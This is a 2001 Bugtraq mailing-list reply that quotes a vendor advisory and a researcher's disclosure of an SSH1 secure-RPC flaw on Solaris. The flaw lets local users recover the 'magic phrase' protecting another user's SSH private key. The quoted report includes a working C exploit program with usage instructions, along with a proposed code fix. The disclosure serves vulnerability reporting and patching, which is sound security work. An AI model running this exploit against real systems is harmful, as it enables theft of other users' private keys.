[18662] in bugtraq
Re: Bug in SSH1 secure-RPC support can expose users' private keys
daemon@ATHENA.MIT.EDU (c0n)
Wed Jan 17 12:26:51 2001
Content-Type: text/plain
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-ID: <01011622013402.02736@def-con.org>
Date: Tue, 16 Jan 2001 21:59:45 -0600
Reply-To: c0n <root@DEF-CON.ORG>
From: c0n <root@DEF-CON.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <20010116091449.A2299@ssh.com>
404 on http://www.ssh.com/patches.html
might want to try http://www.ssh.com/products/ssh/patches.html
The greatest of all faults is to be conscious of none
-Thomas Carlyle 1795-1881
On Tue, 16 Jan 2001, ssh2-bugs@ssh.com wrote:
> Hello all,
>
> There is a bug in SSH-1.2.30 involving Secure RPC. The patch for this is available at http://www.ssh.com/patches.html.
>
> The explanation and bug was submitted by Richard Silverman (slade@shore.net), and his explanation of the bug is below. The SSH1 protocol is not formally supported by SSH Communications Security. However, as a service to the user community, we offer this patch as a potential way of addressing SSH1 related issues.
>
> If you have any questions or comments, please email ssh2-bugs@ssh.com.
>
> Thanks,
>
> -Anne
>
> When using "secure-RPC" support to encrypt a secret key file with the "SUN-DES-1
> magic phrase," it is possible for SSH to generate a "magic phrase" which
> is easily discoverable by other users on the same host, or in the same
> NIS+ domain.
>
> Since this weakness can seriously threaten the secrecy of a user's private
> keys, I intend to post this information publically as soon as is feasible. I
> would, of course, like to allow you to assess the problem first and release a
> fix before I do so. Please keep me informed. If I do not hear back from you
> within a week (that is, by Friday 28 July 2000), I will go ahead and release
> the bug report.
>
> IMPACT:
>
> A user's private key file is encrypted with an easily discoverable
> passphrase.
>
> SYSTEMS AFFECTED:
>
> Any system running SSH1 with secure-RPC support. As far as I know, this
> is limited to Sun Solaris 2.x. I have seen the problem under Solaris 2.6
> and 2.7, running on SPARC hardware.
>
> DETAILS:
>
> The SSH1 feature is called secure-RPC, but this is a little misleading.
> SSH1 does not use secure-RPC. Rather, it takes advantage of the
> cryptographic infrastructure present to support secure-RPC.
>
> On a Solaris system employing secure-RPC (for e.g. secure NFS or NIS+),
> there is a host-independent user and host naming scheme consisting of
> "netnames" contained in the "netid" table, and a Diffie-Hellman key pair
> belonging to each netname, contained in the "publickey" table. These
> tables may be kept in local files (/etc/netid, /etc/publickey), or stored
> in NIS+. User netnames look like "unix.<uid>@<domain>", and have an
> obvious mapping to local usernames via the uid on a given host. A user's
> Diffie-Hellman private key is stored encrypted with the user's "network
> password," which may differ from the user's login password on a particular
> host.
>
> Solaris includes a system server process called "keyserv," which is a
> caching and service agent for the secure-RPC private keys. To load the
> private key into keyserv, the user runs a program called "keylogin," which
> prompts for the network password. It then retrieves the user's private
> key from the publickey table, decrypts it with the password, and via an
> IPC mechanism stores the key with keyserv. Keyserv will only allow
> processes with the same uid as that which stored a key to access it.
>
> The keyserv API includes two functions, key_encryptsession and
> key_decryptsession. Their purpose is to support DES session key exchange
> between secure-RPC principals. The key_encryptsession routine takes a
> recipient netname N and DES key D. It looks up the public key P belonging
> to N, and retrieves from keyserv the private key K of the current user.
> It then encrypts D twice, using both Diffie-Hellman keys and P and K. The
> key_decryptsession routine performs the inverse operation on behalf of the
> recipient, recovering D.
>
> The SSH1 secure-RPC feature makes use of secure-RPC keys to encrypt the a
> user's SSH private key file without requiring a user-supplied passphrase.
> When ssh-keygen prompts the user for a passphrase to encrypt a new key (or
> change the passphrase of an existing key), it recognizes the special
> passphrase "SUN-DES-1". Instead of using this token as the passphrase, it
> does the following:
>
> - Finds the netname U of the current user.
>
> - Generates the string S: "ssh.XXXX", where XXXX is the user's uid in
> hexadecimal, left-padded with zeros.
>
> - Treats S as a DES key, padding it out on the right with 8 null bytes.
>
> - Calls key_encryptsession(U,S), producing S'. This encrypts S with both
> the public and private keys of the calling user.
>
> - Generates the string M, which is the (upper-case) ASCII hexadecimal
> representation of the 64-bit S'. This is the SUN-DES-1 "magic phrase."
>
> Ssh-keygen then uses M as the passphrase to encrypt the user's SSH private
> key in the usual way. The idea is that M is an automatically-generated
> secure passphrase for the user, and that an attacker would need the user's
> secure-RPC private key to discover M. When other SSH components need to
> read a private key file, they first generate M and attempt to decrypt the
> SSH private key with M; if that fails, they prompt the user for a
> passphrase.
>
> The problem occurs if I encrypt an SSH key using the SUN-DES-1 magic
> phrase, without having done a keylogin -- that is, keyserv does not have
> my Diffie-Hellman private key. The Solaris 5.7 man page for the
> key_encryptsession routine does not say explicitly what happens in this
> case, though it does say that the routine returns 0 on success and -1 on
> failure. One would assume that it returns failure in this case. The SSH
> code does check the return code and tells the user to do a keylogin if
> key_encryptsession fails.
>
> However, this does not always happen. I have seen the correct behavior
> happen very occasionally while testing, but most of the time,
> key_encryptsession returns success instead, and appears to have encrypted
> its argument only with the public key of the target netname, simply
> skipping the other encryption step. This produces a magic phrase which
> can be generated easily by any other user on the system. If the victim
> has uid U and netname V, the attacker simply ensures that he does not have
> a private key available (by doing a keylogout), then calls
> key_encryptsession(V,"ssh.<U>...") as described above; this recovers the
> victim's magic phrase. The attacker can then use this to decrypt the
> victim's private key file, should he get hold of it through other means.
>
> The user may not notice the problem immediately, as his SSH will be able
> to automatically decrypt the private key file as expected, as long as he
> remains "keylogged out".
>
> EXPLOIT:
>
> To demonstrate this problem on a Solaris system with secure-RPC keys in
> place, do a keylogout, then use ssh-keygen to generate a new key (or
> change the passphrase on an existing key), setting the passphrase to
> "SUN-DES-1". You will see the message:
>
> "Using SUN-DES-1 magic phrase to encrypt the private key."
>
> (That is, you will see this if the bug manifests. As I mentioned, I have
> occasionally seen key_encryptsession return failure in this situation, in
> which case you will see "Failed to get SUN-DES-1 magic phrase. Run
> keylogin.")
>
> Then, compile the following short program:
>
> == exploit.c =====================================
> #include <stdio.h>
> #include <rpc/rpc.h>
>
> void die (char *msg)
> {
> fprintf(stderr,"%s\n",msg);
> exit(1);
> }
>
> main (int argc, char **argv)
> {
> char buf[MAXNETNAMELEN + 1];
> des_block block;
> uid_t uid;
> char *netname;
>
> if (argc < 3)
> die("supply uid and netname");
>
> sscanf(argv[1], "%d", &uid);
> netname = argv[2];
> memset(buf, 0, sizeof(buf));
> snprintf(buf, sizeof(buf), "ssh.%04X", uid);
> memcpy(block.c, buf, sizeof(block.c));
> if (key_encryptsession(netname, &block) != 0)
> die("key_encryptsession failed");
> printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n %08X%08X\n",
> uid,
> netname,
> ntohl(block.key.high),
> ntohl(block.key.low));
> }
> ==================================================
>
> Any user may now do a keylogout, then call this program with your uid and
> netname as arguments, e.g. "exploit 12345 unix.12345@domain.org". It will
> print out your magic phrase, which can be used directly to decrypt your
> private key file, e.g. with "ssh -i", "ssh-add", etc.
>
> FIX:
>
> The quick fix is this: in the routine userfile_get_des_1_magic_phrase
> (userfile.c:1150), change this line:
>
> if (getnetname(buf))
>
> to this:
>
> if (getnetname(buf) && key_secretkey_is_set())
>
> key_secretkey_is_set returns whether or not the calling process has a
> secret key registered with keserv.
>
> Unfortunately, this may not be complete solution. Judging from the
> secure-RPC code in auth-passwd.c, there are apparently two different
> versions of the keyserv API, 1 and 2, and key_secretkey_is_set is not
> available in version 1. In fact, auth-passwd.c has a routine
> my_secretkey_is_set, which calls key_secretkey_is_set if keyserv version 2
> is available -- otherwise, it calls key_encryptsession and relies on it
> failing if the secret key is not set! This suggests that, if this bug
> occurs in version 1 as well as 2, there may be no simple, reliable way to
> tell if the calling process' secret key is registered with keyserv.
> Theoretically, one could call getpublickey(3N) to retrieve the user's
> public key, encrypt a test token with it, and compare this to the result
> of encrypting the token with key_encryptsession -- the secret key is set
> only if they are different. However, the Solaris secure-RPC library does
> not appear to expose routines for performing Diffie-Hellman operations
> directly, so this would not be straightforward.
>
> Since this is a problem with an old version of keyserv, and with an SSH1
> option this is (I think) very little used, I haven't spent the time to
> come up with a fix for this. Perhaps someone with more motivation will do
> so. In the meantime, it may be best to simply disable the SSH1 secure-RPC
> feature if keyserv version 2 is not available (KEY_VERS2 is not defined by
> <rpc/rpc.h>.